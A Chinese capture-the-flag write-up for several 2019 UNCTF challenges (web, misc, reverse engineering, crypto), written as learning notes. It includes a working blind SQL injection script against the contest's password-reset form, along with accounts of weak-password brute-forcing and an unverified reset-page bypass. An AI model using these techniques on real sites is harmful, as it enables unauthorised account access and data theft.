2019UNCTF-竞技赛 部分WP
emmmm，比赛结束了，，，，
无奈本人太菜，只能做几个题，，，，
flag部分白嫖，部分靠混，，，，
web checkin
直接白嫖~~，nodejs注入，而且flag是对的，，，，
emmm，看有不有官方wp，有的话再去看看
web 帮赵总结婚
进入页面：
发现admin账号存在，如果不存在会提示不存在，既如此就好办了，直接抓包爆破弱口令！！！
成功得到flag！！！
不过貌似，只能登陆一次，啊哈哈哈哈！！！
web easy_admin
emmmm，一开始以为是啥文件包含啥的，结果什么都没搞出来
后面用AWVS扫描了一下，说存在sql盲注，，，
在忘记密码的那个页面，然而我并没有做，，
听师傅说sqlmap跑不出来，，，，，
后面，我们群里有个大师傅发了个脚本，说能跑出flag，貌似二分法跑盲注：
import requests
url = 'http://101.71.29.5:10049/index.php?file=forget'
result = ''
for x in range(0, 100):
high = 255
low = 0
mid = (low + high) // 2
while high > low:
payload = "1'or if(ascii(substr((password),%d,1))>%d,1,0)#" % (x, mid)
params = {
'username':payload
}
response = requests.post(url, data=params)
if b'ok' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
web NSB reset password
发现有reset1.html，reset2.html，reset3.html
直接跳转到reset3.html更改密码，没有验证，直接修改
再到登陆页面进行登陆，得到flag
MISC 玩游戏的flag
通关就给flag
MISC think
emmm，直接16进制异或unctf就行了
import base64
'''
a=['MTM=','MDI=','MDI=','MTM=','MWQ=','NDY=','NWE=','MDI=','NGQ=','NTI=','NGQ=','NTg=','NWI=','MTU=','NWU=','MTQ=','MGE=','NWE=','MTI=','MDA=','NGQ=','NWM=','MDE=','MTU=','MDc=','MTE=','MGM=','NTA=','NDY=','NTA=','MTY=','NWI=','NTI=','NDc=','MDI=','NDE=','NWU=','MWU=']
flag=[]
key='unctf'
for i in a:
i='0x'+base64.b64decode(i)
flag.append(i)
'''
key='unctf'
a=[0x13, 0x02, 0x02, 0x13, 0x1d, 0x46, 0x5a, 0x02, 0x4d, 0x52, 0x4d, 0x58, 0x5b, 0x15, 0x5e, 0x14, 0x0a, 0x5a, 0x12, 0x00, 0x4d, 0x5c, 0x01, 0x15, 0x07, 0x11, 0x0c, 0x50, 0x46, 0x50, 0x16, 0x5b, 0x52, 0x47, 0x02, 0x41, 0x5e, 0x1e]
true=''
for i in range(len(a)):
true+=chr(ord(key[i%len(key)])^a[i])
print true
MISC 亲爱的
emmmm，分离出一个压缩包，有个提示qq music
密码爆了一年没出来，结果听师傅说去qq音乐里面去找密码，，，，
后面就不细说了，反正就是密码这一步难受，，，，脑洞大开！！！
MISC 信号不好
这个一张图片，lsb隐写，直接可以分离出一个压缩包，
解压之后还是一张图片，进行xor也看不出什么东西来
后面想着可能是盲水印，直接找个python脚本跑了一下
库什么的都要装，很难受的，自己装库都报错了，日了，，，，
最后还是嫖到了flag，，，就是盲水印，，，，主要靠大佬，我只能混
PWN就算了，基本都靠的是豆豆师傅，自己不会，没接触过，EXP什么的就不放了吧，TCL
RE 奇怪的数组
emmm，其实这个题目群里有人放出了flag，，还是正确的flag，ahhhh，笑死
不过自己还是去看了一下怎么做的，，，，
其实逻辑还是很简单的，，，就是一个checkbox，，，然后就直接去看了一下checkbox：
把checkbox抠出来~~
发现就是32位数，直接尝试一下是不是flag：
就是flag，，，醉了
RE Easy_Android
下载文件，使用APKIDE打开文件，直接查看Java源代码，找到主函数进行分析：
很显然这里调用了d类，直接查看：
OK，必须是32位的长度，否则直接return false
往下走就是new了一个e()，调用了e类，去查看一下
package com.he.tian.easymix;
import android.widget.TextView;
public class e
{
String a = "2061e19de42da6e0de934592a2de3ca0";
String b = "a81813dabd92cefdc6bbf28ea522d2d1";
String c = "4b98921c9b772ed5971c9eca38b08c9f";
String d = "81773872cbbd24dd8df2b980a2b47340";
String e = "73b131aa8e4847d27a1c20608199814e";
String f = "bbd7c4e20e99f0a3bf21c148fe22f21d";
String g = "bf268d46ef91eea2634c34db64c91ef2";
String h = "0862deb943decbddb87dbf0eec3a06cc";
String i = "7a59d932e8184ae963c40a759cc38fec";
public static String a(String paramString1, String paramString2)
{
paramString1 = paramString1.getBytes();
paramString2 = paramString2.getBytes();
String str1;
if (paramString1.length >= paramString2.length) {
str1 = paramString1;
} else {
str1 = paramString2;
}
String str2 = paramString1;
if (paramString1.length >= paramString2.length) {
str2 = paramString2;
}
paramString1 = new byte[str2.length];
int j = 0;
while (j < str2.length)
{
paramString1[j] = ((byte)(str2[j] ^ str1[j]));
j += 1;
}
return new String(paramString1);
}
boolean a(String paramString1, String paramString2, TextView paramTextView)
{
new b();
String str6 = a(paramString1, paramString2).toString().substring(0, 4);
String str3 = a(paramString1, paramString2).toString().substring(4, 8);
String str5 = a(paramString1, paramString2).toString().substring(8, 12);
String str4 = a(paramString1, paramString2).toString().substring(12, 16);
String str2 = a(paramString1, paramString2).toString().substring(16, 20);
String str1 = a(paramString1, paramString2).toString().substring(20, 24);
paramTextView = a(paramString1, paramString2).toString().substring(24, 28);
paramString1 = a(paramString1, paramString2).toString().substring(28, 32);
paramString2 = b.a(str6, "utf8");
str3 = b.a(str3, "utf8");
str5 = b.a(str5, "utf8");
str4 = b.a(str4, "utf8");
str2 = b.a(str2, "utf8");
str1 = b.a(str1, "utf8");
paramTextView = b.a(paramTextView, "utf8");
paramString1 = b.a(paramString1, "utf8");
return (paramString2.equals(this.a)) && (str3.equals(this.b)) && (str5.equals(this.c)) && (str4.equals(this.d)) && (str2.equals(this.e)) && (str1.equals(this.f)) && (paramTextView.equals(this.g)) && (paramString1.equals(this.h));
}
}
可以看出来这里就是一个关键的函数，经过简单的分析可以得出下面的过程
首先两个字符串，一个字符串我们已知了，就是那个假的flag，
还有一个paramString1应该是真正的flag，两个字符串经过异或之后分成8份
在经过MD5加密，然后与上面的匹配，一样即可！！！
emmm，本人太菜，选择直接爆破，因为我们知道flag只包含小写字母和数字
而且是四个四个的，也没多少，直接使用kali创建字典，crunch命令
129M的字典，，，，，编写脚本：
import hashlib
a = "2061e19de42da6e0de934592a2de3ca0"
b = "a81813dabd92cefdc6bbf28ea522d2d1"
c = "4b98921c9b772ed5971c9eca38b08c9f"
d = "81773872cbbd24dd8df2b980a2b47340"
e = "73b131aa8e4847d27a1c20608199814e"
f = "bbd7c4e20e99f0a3bf21c148fe22f21d"
g = "bf268d46ef91eea2634c34db64c91ef2"
h = "0862deb943decbddb87dbf0eec3a06cc"
i = "7a59d932e8184ae963c40a759cc38fec"
s = "flag{this_is_a_fake_flag_ahhhhh}"
file = open('superdic.txt','r')
flag = ""
def XOR(string ,s1):
x = ""
for i in range(4):
x += chr(ord(s1[i]) ^ ord(string[i]))
return x
def search(xor1,xor2,s):
x = XOR(xor1,xor2)
x = md5value = hashlib.md5(x.encode('utf-8')).digest().hex()
if(x == s):
return xor1
return ""
try:
while True:
text_line = file.readline()
if text_line:
x = text_line[0:4]
s1 = search(x,"flag",a)
if(s1 != ""):
flag += "-1-" + s1
print(flag)
s2 = search(x,"{thi",b)
if(s2 != ""):
flag += "-2-" + s2
print(flag)
s3 = search(x,"s_is",c)
if(s3 != ""):
flag += "-3-" + s3
print(flag)
s4 = search(x,"_a_f",d)
if(s4 != ""):
flag += "-4-" + s4
print(flag)
s5 = search(x,"ake_",e)
if(s5 != ""):
flag += "-5-" + s5
print(flag)
s6 = search(x,"flag",f)
if(s6 != ""):
flag += "-6-" + s6
print(flag)
s7 = search(x,"_ahh",g)
if(s7 != ""):
flag += "-7-" + s7
print(flag)
s8 = search(x,"hhh}",h)
if(s8 != ""):
flag += "-8-" + s8
print(flag)
else:
break
finally:
file.close()
print(flag)
成功的到flag！！！
RE 666
emmmm，比较简单的一道题目，打开分析主函数：
encode函数之后，与enflag比较，进入查看encode：
emmmm，不难理解，直接编写脚本，两种方法：
import string
a = 'izwhroz""w"v.K".Ni'
s = string.printable
flag = ""
for i in range(0,18):
if(i % 3 == 0):
for j in s:
if(18^(ord(j) + 6) == ord(a[i])):
flag += j
break
elif(i % 3 == 1):
for j in s:
if((ord(j) - 6)^18 == ord(a[i])):
flag += j
break
elif(i % 3 == 2):
for j in s:
if(18^ord(j)^6 == ord(a[i])):
flag += j
break
print(flag)
#print(chr(18 ^ 6 ^ ord('w')))
flag = ""
for i in range(0,6):
flag += chr((18 ^ ord(a[i*3])) - 6)
flag += chr((18 ^ ord(a[i*3+1])) + 6)
flag += chr(18 ^ 6 ^ ord(a[i*3+2]))
print(flag)
RE BabyXor
下载文件，使用ida打开发现函数很少，怀疑有壳，用工具查不出来
直接拖到OD中查看，好像真的有壳，不能使用工具脱壳的话，那么就只能手工脱壳
和我之前写的一篇差不多，有个地方是一只循环，直接NOP掉就行
之后的肯定是找OEP了，就不多说了，以前我写过一篇手工脱壳的！！差不多
nSPack 手工脱壳过程
之后就可以使用ida打开查看了，，，，，
这里没分析出什么，使用OD动态调试一下，得到flag：
CRYPTO 一句话加密
下载文件，一张图片，一个python文件：
c = pow(int(m.encode('hex'), 16),e,n)
c1:62501276588435548378091741866858001847904773180843384150570636252430662080263
c2:72510845991687063707663748783701000040760576923237697638580153046559809128516
用notepad++打开图片，可以看见有一串16进制的数字：
看着这个样子应该是rabin加密
将这串数字分解出p和q，然后两个c分别进行解密：
import gmpy
def n2s(num):
t = hex(num)[2:]
if len(t) % 2 == 1:
return ('0'+t).decode('hex')
return t.decode('hex')
c = 62501276588435548378091741866858001847904773180843384150570636252430662080263
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
n = p*q
r = pow(c,int((p+1)/4),p)
s = pow(c,int((q+1)/4),q)
a = gmpy.invert(p,q)
b = gmpy.invert(q,p)
x =(a*p*s+b*q*r)%n
y =(a*p*s-b*q*r)%n
print (n2s(x%n))
print (n2s((-x)%n))
print (n2s(y%n))
print (n2s((-y)%n))
203
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
